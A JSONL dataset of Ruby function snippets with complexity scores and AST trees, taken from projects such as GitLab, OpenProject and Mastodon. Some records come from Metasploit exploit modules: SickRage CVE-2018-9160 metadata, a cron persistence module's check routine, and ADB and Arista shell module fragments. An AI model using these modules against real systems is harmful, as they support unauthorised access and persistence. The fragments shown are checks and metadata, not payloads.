SickRage.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          By default, SickRage does not require login information for the installation.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Sven Fassbender\"]},{\"type\":\"str\",\"children\":[\"Shelby Pace\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2018-9160\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"44545\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-03-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Optional path that gets prepended to the default paths to be searched\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8081]}]}]}]}]}]}","id":"75a13090-56b2-40d9-9f4c-1860675e4373"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/custom_field_injector.rb","start_line":172,"raw_source":"def inject_list_schema(custom_field)\n          @class.schema_with_allowed_collection(\n            property_name(custom_field),\n            type: resource_type(custom_field),\n            name_source: ->(*) { custom_field.name },\n            values_callback: list_schemas_values_callback(custom_field),\n            value_representer: CustomOptions::CustomOptionRepresenter,\n            link_factory: list_schemas_link_callback,\n            required: custom_field.is_required\n          )\n        end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_list_schema\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@class\"]},\"schema_with_allowed_collection\",{\"type\":\"send\",\"children\":[null,\"property_name\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[null,\"resource_type\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name_source\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values_callback\"]},{\"type\":\"send\",\"children\":[null,\"list_schemas_values_callback\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_representer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomOptions\"]},\"CustomOptionRepresenter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_factory\"]},{\"type\":\"send\",\"children\":[null,\"list_schemas_link_callback\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"is_required\"]}]}]}]}]}","id":"1c207cc8-96cc-44eb-8402-58fd907a0edb"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/deprecation_formatter.rb","start_line":123,"raw_source":"def print_deprecation_message(data)\n            deprecation_message = deprecation_formatter.deprecation_message_for(data)\n            deprecation_stream.puts deprecation_message.to_s\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"print_deprecation_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deprecation_message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deprecation_formatter\"]},\"deprecation_message_for\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deprecation_stream\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deprecation_message\"]},\"to_s\"]}]}]}]}","id":"c2c76dd6-1ab0-4924-960d-24e55944095b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/persistence/cron.rb","start_line":73,"raw_source":"def check\n    # https://gist.github.com/istvanp/310203 for cron regex validator\n    cron_regex = '(\\*|[0-5]?[0-9]|\\*\\/[0-9]+)\\s+'\n    cron_regex << '(\\*|1?[0-9]|2[0-3]|\\*\\/[0-9]+)\\s+'\n    cron_regex << '(\\*|[1-2]?[0-9]|3[0-1]|\\*\\/[0-9]+)\\s+'\n    cron_regex << '(\\*|[0-9]|1[0-2]|\\*\\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\\s+'\n    cron_regex << '(\\*\\/[0-9]+|\\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \\s*\n    # cron_regex << '(\\*\\/[0-9]+|\\*|[0-9]+)?'\n\n    return CheckCode::Unknown('Invalid timing format') unless datastore['TIMING'] =~ /#{cron_regex}/\n\n    return CheckCode::Safe(\"#{target.opts[:path]} doesn't exist\") unless exists?(target.opts[:path])\n    # it may not be directly writable, but we can use crontab to write it for us\n    if !writable?(target.opts[:path]) && !command_exists?('crontab')\n      return CheckCode::Safe(\"Can't write to: #{target.opts[:path]} or crontab not found\")\n    end\n\n    if target.name == 'User Crontab' && !user_cron_permission?(target_user)\n      return CheckCode::Unknown('User denied cron via cron.deny')\n    end\n\n    CheckCode::Appears('Cron timing is valid, no cron.deny entries found')\n  end","complexity_score":50.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cron_regex\",{\"type\":\"str\",\"children\":[\"(\\\\*|[0-5]?[0-9]|\\\\*\\\\/[0-9]+)\\\\s+\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cron_regex\"]},\"<<\",{\"type\":\"str\",\"children\":[\"(\\\\*|1?[0-9]|2[0-3]|\\\\*\\\\/[0-9]+)\\\\s+\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cron_regex\"]},\"<<\",{\"type\":\"str\",\"children\":[\"(\\\\*|[1-2]?[0-9]|3[0-1]|\\\\*\\\\/[0-9]+)\\\\s+\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cron_regex\"]},\"<<\",{\"type\":\"str\",\"children\":[\"(\\\\*|[0-9]|1[0-2]|\\\\*\\\\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\\\\s+\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cron_regex\"]},\"<<\",{\"type\":\"str\",\"children\":[\"(\\\\*\\\\/[0-9]+|\\\\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMING\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cron_regex\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Invalid timing format\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"str\",\"children\":[\" doesn't exist\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"crontab\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Can't write to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"str\",\"children\":[\" or crontab not found\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"User Crontab\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_cron_permission?\",{\"type\":\"send\",\"children\":[null,\"target_user\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"User denied cron via cron.deny\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"Cron timing is valid, no cron.deny entries found\"]}]}]}]}","id":"c651f7a2-dc4c-4355-927c-fc6e188eb4a5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/slack/block_kit/app_home_opened.rb","start_line":76,"raw_source":"def section_notifications\n        section(\n          format(\n            s_(\"Slack|To start using notifications, \" \\\n               \"%{startMarkup}enable the GitLab for Slack app integration%{endMarkup} in your project settings.\"),\n            startMarkup: \"<#{help_page_url('user/project/integrations/gitlab_slack_application.md',\n              anchor: 'install-the-gitlab-for-slack-app')}|\",\n            endMarkup: \">\"\n          )\n        )\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"section_notifications\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"section\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Slack|To start using notifications, \"]},{\"type\":\"str\",\"children\":[\"%{startMarkup}enable the GitLab for Slack app integration%{endMarkup} in your project settings.\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"startMarkup\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"help_page_url\",{\"type\":\"str\",\"children\":[\"user/project/integrations/gitlab_slack_application.md\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"install-the-gitlab-for-slack-app\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"endMarkup\"]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}]}]}","id":"c9003100-a31a-4f53-b95c-0d4b4fe6f176"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/user_mailer.rb","start_line":84,"raw_source":"def news_added(user, news)\n    @news = news\n\n    open_project_headers \"Type\" => \"News\"\n    open_project_headers \"Project\" => @news.project.identifier if @news.project\n\n    message_id @news, user\n    references @news\n\n    project = @news.project ? \"#{@news.project.name}] \" : \"\"\n    send_localized_mail(user) { \"#{project}#{News.model_name.human}: #{@news.title}\" }\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"news_added\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"news\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@news\",{\"type\":\"lvar\",\"children\":[\"news\"]}]},{\"type\":\"send\",\"children\":[null,\"open_project_headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"str\",\"children\":[\"News\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@news\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"open_project_headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@news\"]},\"project\"]},\"identifier\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"message_id\",{\"type\":\"ivar\",\"children\":[\"@news\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"references\",{\"type\":\"ivar\",\"children\":[\"@news\"]}]},{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@news\"]},\"project\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@news\"]},\"project\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"] \"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_localized_mail\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"News\"]},\"model_name\"]},\"human\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@news\"]},\"title\"]}]}]}]}]}]}","id":"699b3d1a-8681-4cb3-8bdf-576a9c905a33"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/finders.rb","start_line":9,"raw_source":"def self.find_all_by_day(resource, day, interval_name, time_profile)\n    start_time, end_time = day_to_range(day, time_profile)\n    find_all_by_range(resource, start_time, end_time, interval_name)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_all_by_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]},{\"type\":\"arg\",\"children\":[\"day\"]},{\"type\":\"arg\",\"children\":[\"interval_name\"]},{\"type\":\"arg\",\"children\":[\"time_profile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\"]},{\"type\":\"lvasgn\",\"children\":[\"end_time\"]}]},{\"type\":\"send\",\"children\":[null,\"day_to_range\",{\"type\":\"lvar\",\"children\":[\"day\"]},{\"type\":\"lvar\",\"children\":[\"time_profile\"]}]}]},{\"type\":\"send\",\"children\":[null,\"find_all_by_range\",{\"type\":\"lvar\",\"children\":[\"resource\"]},{\"type\":\"lvar\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"end_time\"]},{\"type\":\"lvar\",\"children\":[\"interval_name\"]}]}]}]}","id":"2433af02-c4bc-41b2-ade2-595d3d0c58f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/connection_pool.rb","start_line":31,"raw_source":"def track_available_connections(connection_class)\n        @available_gauge ||= ::Gitlab::Metrics.gauge(:gitlab_connection_pool_available_count,\n          'Number of available connections in the pool', {}, :all)\n\n        @available_gauge.set({ pool_name: @name, connection_class: connection_class }, available)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_available_connections\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@available_gauge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"gauge\",{\"type\":\"sym\",\"children\":[\"gitlab_connection_pool_available_count\"]},{\"type\":\"str\",\"children\":[\"Number of available connections in the pool\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"all\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@available_gauge\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pool_name\"]},{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_class\"]},{\"type\":\"lvar\",\"children\":[\"connection_class\"]}]}]},{\"type\":\"send\",\"children\":[null,\"available\"]}]}]}]}","id":"09294551-f222-445c-b9d2-645b0b142014"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/system/settings/two_factor_authentication/recovery_codes_spec.rb","start_line":33,"raw_source":"def stub_code_generator\n      allow(SecureRandom).to receive(:hex).and_return(backup_code)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_code_generator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"hex\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[null,\"backup_code\"]}]}]}]}","id":"129d7e1f-4914-4849-999f-d1c51122aec8"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails2.rb","start_line":1516,"raw_source":"def expected\n    @expected ||= {\n      :controller => 1,\n      :model => 4,\n      :template => 47,\n      :generic => 60 }\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expected\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@expected\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"int\",\"children\":[47]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"generic\"]},{\"type\":\"int\",\"children\":[60]}]}]}]}]}","id":"dfda0410-342b-40a5-b972-9db8e2803d06"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/android/adb/adb_server_exec.rb","start_line":48,"raw_source":"def check\n    setup_adb_connection do\n      device_info = @adb_client.connect.data\n      print_good(\"Detected device:\\n#{device_info}\")\n      return CheckCode::Vulnerable\n    end\n\n    CheckCode::Unknown\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_adb_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"device_info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@adb_client\"]},\"connect\"]},\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected device:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_info\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}","id":"e26331f9-e39f-44e9-ac96-01285306d111"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/immich/import_geodata.rb","start_line":54,"raw_source":"def extract_geodata(asset)\n    {\n      latitude: asset['exifInfo']['latitude'],\n      longitude: asset['exifInfo']['longitude'],\n      lonlat: \"SRID=4326;POINT(#{asset['exifInfo']['longitude']} #{asset['exifInfo']['latitude']})\",\n      timestamp: Time.zone.parse(asset['exifInfo']['dateTimeOriginal']).to_i\n    }\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_geodata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asset\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latitude\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exifInfo\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"latitude\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"longitude\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exifInfo\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"longitude\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lonlat\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SRID=4326;POINT(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exifInfo\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"longitude\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exifInfo\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"latitude\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asset\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exifInfo\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"dateTimeOriginal\"]}]}]},\"to_i\"]}]}]}]}","id":"3787f187-3b45-49ab-9908-d70f1e7379bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ssh_public_key.rb","start_line":90,"raw_source":"def type\n      technology.name if valid?\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"technology\"]},\"name\"]},null]}]}","id":"fc49967d-570f-4cc4-9486-dd3dbc4f3192"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/ssh/arista_tacplus_shell.rb","start_line":95,"raw_source":"def rhost\n    datastore['RHOST']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rhost\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]}","id":"e94e1bed-f037-4f49-90e4-0e0ddcf8a008"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/lib/action_mailbox/relayer.rb","start_line":14,"raw_source":"def failure?\n        transient_failure? || permanent_failure?\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"failure?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transient_failure?\"]},{\"type\":\"send\",\"children\":[null,\"permanent_failure?\"]}]}]}","id":"d581c8c0-0639-4c7d-a6ce-db39faf0b4b1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/cron/quarter_hour_schedule_job.rb","start_line":56,"raw_source":"def upper_boundary\n    @upper_boundary ||= good_job.cron_at\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"upper_boundary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@upper_boundary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"good_job\"]},\"cron_at\"]}]}]}","id":"a4c776e5-b78f-4eb4-8b7a-c2f98a6c95c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/security/locations/base.rb","start_line":15,"raw_source":"def fingerprint\n              strong_memoize(:fingerprint) do\n                Digest::SHA1.hexdigest(fingerprint_data)\n              end\n            end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fingerprint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"fingerprint\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[null,\"fingerprint_data\"]}]}]}]}","id":"1edc0c87-5307-44c1-9d2b-678cbce9ca99"}
